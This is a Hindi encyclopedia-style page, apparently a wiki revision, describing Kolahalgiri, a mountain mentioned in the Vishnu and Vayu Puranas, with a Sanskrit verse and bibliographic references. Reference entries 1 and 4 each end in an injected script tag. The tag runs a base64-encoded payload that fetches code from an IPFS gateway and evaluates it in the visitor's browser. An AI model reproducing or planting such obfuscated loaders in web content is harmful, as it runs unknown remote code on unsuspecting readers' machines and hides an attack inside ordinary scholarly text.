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'''कोलाहलगिरि''' [[विष्णुपुराण]] के अनुसार एक [[पर्वत]] का नाम है-
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*[[विष्णुपुराण]] के अनुसार कोलाहलगिरि एक [[पर्वत]] का नाम है-
  
 
<blockquote>'सापि द्वितीय संप्राप्ते वीक्ष्य दिव्येन चक्षुषा, ज्ञात्वा श्रृगालं तंद्रष्टुं ययौ कोलाहलं गिरिम्'<ref>[[विष्णुपुराण]] 3, 18, 72.</ref></blockquote>
 
<blockquote>'सापि द्वितीय संप्राप्ते वीक्ष्य दिव्येन चक्षुषा, ज्ञात्वा श्रृगालं तंद्रष्टुं ययौ कोलाहलं गिरिम्'<ref>[[विष्णुपुराण]] 3, 18, 72.</ref></blockquote>

11:56, 17 मई 2018 के समय का अवतरण

कोलाहलगिरि मालवा और बुंदेलखंड को अलग करने वाली पर्वतमाला का नाम है, जो चंदेरी के पास स्थित है।[1]

'सापि द्वितीय संप्राप्ते वीक्ष्य दिव्येन चक्षुषा, ज्ञात्वा श्रृगालं तंद्रष्टुं ययौ कोलाहलं गिरिम्'[2]

  • कोलाहलगिरि का उपर्युक्त उल्लेख एक आख्यान के प्रसंग में है।
  • वायुपुराण[3] में भी कोलाहलगिरि का उल्लेख किया गया है।
  • यह 'कोलाचल' या 'कोलगिरि' का भी रूपांतरित नाम हो सकता है।
  • श्री नं. ला. डे के अनुसार इसका अभिज्ञान ब्रह्मयोनि पहाड़ी, गया (बिहार) से किया गया है।[4]


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टीका टिप्पणी और संदर्भ

  1. पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 556, परिशिष्ट 'क' | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. विष्णुपुराण 3, 18, 72.
  3. वायुपुराण 1, 45
  4. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 238 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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